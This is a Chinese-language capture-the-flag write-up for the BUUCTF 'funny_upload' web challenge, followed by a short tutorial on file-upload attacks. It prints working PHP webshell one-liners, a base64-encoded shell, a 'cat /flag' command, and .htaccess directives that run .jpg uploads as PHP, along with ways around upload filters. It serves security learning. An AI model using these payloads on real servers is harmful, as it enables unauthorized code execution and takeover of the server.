funny_upload
题目简介
- 题目名称:funny_upload
- 题目平台:BUUCTF
- 题目类型:Web
- 考察知识点:
- 文件上传漏洞
解题步骤
首先启动靶机,右击查看一下代码,可以看到前端对上传文件的后缀做了过滤,只允许上传图片文件
function Checkfiles() { var fup = document.getElementById('file'); var fileName = fup.value; var ext = fileName.substring(fileName.lastIndexOf('.') + 1); if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG") { return true; } else { alert("这个文件不好,我不喜欢"); return false; } }
既然只允许上传图片文件,那我们可以上传一个一句话木马文件试一下,内容如下:
GIF89a <script language='php'>@eval($_POST['jia']);</script> <script language='php'>system('cat /flag');</script>
同时抓一下包,方便我们接下来的操作
系统提示上传成功,并返回了该文件路径,所以接下来我们要做的就是将上传的一句话木马图片变成php文件去执行,可以上传.htaccess文件,内容如下:
SetHandler application/x-httpd-php
访问shellGIFA文件,却发现虽然系统把shellGIFA.jpg文件不再当作图片文件处理了,但是页面并没有输出flag,怀疑有可能是高版本的php,禁用了
<script language='php'>
标签,我们换一个一句话木马试一下<?php eval(@$_POST['password']);?>
结果发现后端对我们的上传内容做了过滤,应该是过滤了
<?
字符
既然对我们的上传内容做了过滤,那么我们可以想办法绕过,可以通过将一句话木马进行编码的方式:
PD9waHAgZXZhbChAJF9QT1NUWydqaWEnXSk7Pz4=
然后在.htaccess中利用伪协议对shell.jpg进行解码[1]
AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.jpg"
接下来通过蚁剑连接即可成功拿下该服务器的权限,在服务器根目录获取到flag为:Dest0g3{4de779d4-fe81-473a-b236-5c2d1ed025a5}
知识详解
一:如何禁止前端JS运行
如果本题目只在前端的JS中加了后缀过滤,那么我们可以通过禁用浏览器运行JS来阻止过滤。(本方法还可以用来复制那些禁止复制数据的网站内容)
谷歌浏览器禁止JS运行方法:
- 在浏览器中访问chrome://settings/content
- 点击JavaScript->添加,将指定网址添加进去即可
此外,谷歌浏览器还可以通过安装Quick Javascript Switcher插件来禁止JS运行,更加方便快捷
火狐浏览器禁止JS运行方法:
- 在浏览器中访问about:config
- 输入JavaScript,找到找avascript.enabled,点击右侧按钮将其更改为false
注意,当前版本的火狐浏览器不能和谷歌浏览器一样指定网站禁止运行JS,只能全部禁止。
二:eval一句话木马
我们可以通过GET 、POST 、COOKIE
这三种方式向一个网站提交数据,当我们访问我们上传到某网站的一句话木马时,该木马可以用$_GET[' ']、$_POST[' ']、$_COOKIE[' ']
接收我们传递的恶意代码,并把接收的恶意代码传递给一句话木马中执行命令的函数,进而执行命令。所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。
例如:<?php eval(@$_POST['jia']); ?>
其中eval就是执行命令的函数,$_POST['jia']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。[2]
三:绕过<?监测
本题目的后端是对<?字符做了检测,可以通过以下方式绕过
通过script标签绕过
GIF89a <script language='php'>@eval($_POST['jia']);</script> <script language='php'>system('cat /flag');</script>
通过base64编码绕过(编码后记得解码)
PD9waHAgZXZhbChAJF9QT1NUWydqaWEnXSk7Pz4=
三:.htaccess
.htaccess可以用来实现URL改写,可以通过该文件来定义某个URL如何访问服务器上的某个文件。关于该文件的配置项很多,下面只简单介绍一下我们常用的几个配置项
所有的文件全部当作php文件来解析(添加换行防止application过滤)
AddType appli\ cation/x-httpd-php
所有的jpg文件全部当作php文件来解析
AddType appli\ cation/x-httpd-php .jpg
添加伪协议解码[3](把xxx.jpg进行base64解码后再包含进所有的php页面,xxx.jpg上传时需要进行base64编码,用来绕过一句话木马)
php_value auto_append_file "php://filter/convert.base64-decode/resource=xxx.jpg"
参考资料
- [1]:末初-Dest0g3 520迎新赛 Writeup
- [2]:Waldo-PHP之一句话木马
- [3]:kawhi-CTF丨.htaccess文件的利用,没有比它更全面的文章了!
本文由博客一文多发平台 OpenWrite 发布!
funny_upload相关推荐
- [Dest0g3 520迎新赛] Web部分wp
phpdest 文件竞争 <?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) {r ...
- Dest0g3 520迎新赛webmisc
目录 <1> Web (1) phpdest (2) EasyPHP (3) ezrce (4) funny_upload (5) easySSTL (6) ezzip <2> ...
- Dest0g3 520迎新赛 writeup (misc部分 + web部分)
Dest0g3 520迎新赛 文章目录 Dest0g3 520迎新赛 MISC Welcome to fxxking DestCTF 你知道js吗 StrangeTraffic Pngenius Ea ...
- Dest0g3 520迎新赛WEB 无java部分 wp
Dest0g3 520迎新赛 只写了web,勉勉强强拿了总榜58名,web分榜11名这个尴尬的名次,前面的师傅太强了 phpdest <?php highlight_file(__FILE__) ...
最新文章
- python中文解释-python注释和2版本的中文乱码
- mysql管理员操作
- 不用python编程,制作词云图
- python-数据结构-栈
- TabActivity 切换到后台遇到的问题
- jqgrid本地数据例子_微型数据转换器如何通过更小尺寸为您带来更多价值
- Activity的回调机制---Activity学习笔记(三)
- java 扫描所有子类_java获取全部子类或接口的全部实现
- 如何在一个html页面中提交两个post,如何在同一个页面上从Django和Ajax获得多个post请求?...
- 几个实例让你轻松理解正则表达式
- excel文件占用空间大 xls xlsx等文件
- IAR常用快捷键及技巧
- 介绍数据库中的wal技术_门禁系统中RFID与ETC两种新兴技术介绍
- 24.最优布线问题(kruskal算法)
- 性能测试方案(计划)模板
- Vim编辑器学习笔记
- java 万年历接口_农历计算,农历查询API接口,万年历农历查询,农历+禁忌查询 |在线免费 API...
- WordPress热门网站主题汇总(长期更新)
- Java基础之CAS算法
- Symfony2 ACLs